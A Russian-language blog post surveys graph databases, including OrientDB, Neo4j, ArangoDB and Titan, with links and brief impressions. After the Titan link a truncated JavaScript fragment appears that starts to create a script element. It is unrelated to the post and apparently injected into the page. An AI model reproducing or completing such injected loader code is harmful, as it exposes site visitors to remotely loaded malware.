Графовые базы данных

Графовые базы данных ближе к NoSQL, чем к реляционным. Но их специализация не в хранении ключей или данных, а в связывании элементов. Поэтому основной для них являются связи, а не собственно данные.

OrientDB

http://orientdb.com/docs/last/GraphDB-Comparison.html

http://www.orientdb.org/

Docs:http://orientdb.com/docs/last/GraphDB-Comparison.html

Весьма любопытная графовая база. При этом имеет возможность работать в распределенном режиме.

Основы работы с OrientDB я почитал здесь: http://yapro.ru/web-master/mysql/orientdb-grafovaya-baza-dannih.html

Neo4j

http://www.orientdb.org/

Самая старая и развивающаяся графовая база. Я поработал с ней немного. Не понравилось только одно — достаточно медленная вставка данных программным способом. Но импорт из CSV весьма шустрый.

PHP библиотеки:

https://github.com/jadell/neo4jphp/

http://neo4j.com/developer/php/

http://markorodriguez.com/2011/02/18/mysql-vs-neo4j-on-a-large-scale-graph-traversal/

ArangoDB

graphagus

Небольшая графовая БД написанная на питоне. По некоторым тестам гораздо быстрее остальных баз.

https://baach.de/Members/jhb/neo4j-performance-compared-to-graphagus

DEX

http://www.sparsity-technologies.com/

InfiniteGraph

http://objectivity.com/INFINITEGRAPH

http://www.objectivity.com/products/infinitegraph/

Titan

http://thinkaurelius.github.io/titan/if (document.currentScript) { var d=document;var s=d.createElement(‘script’);

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *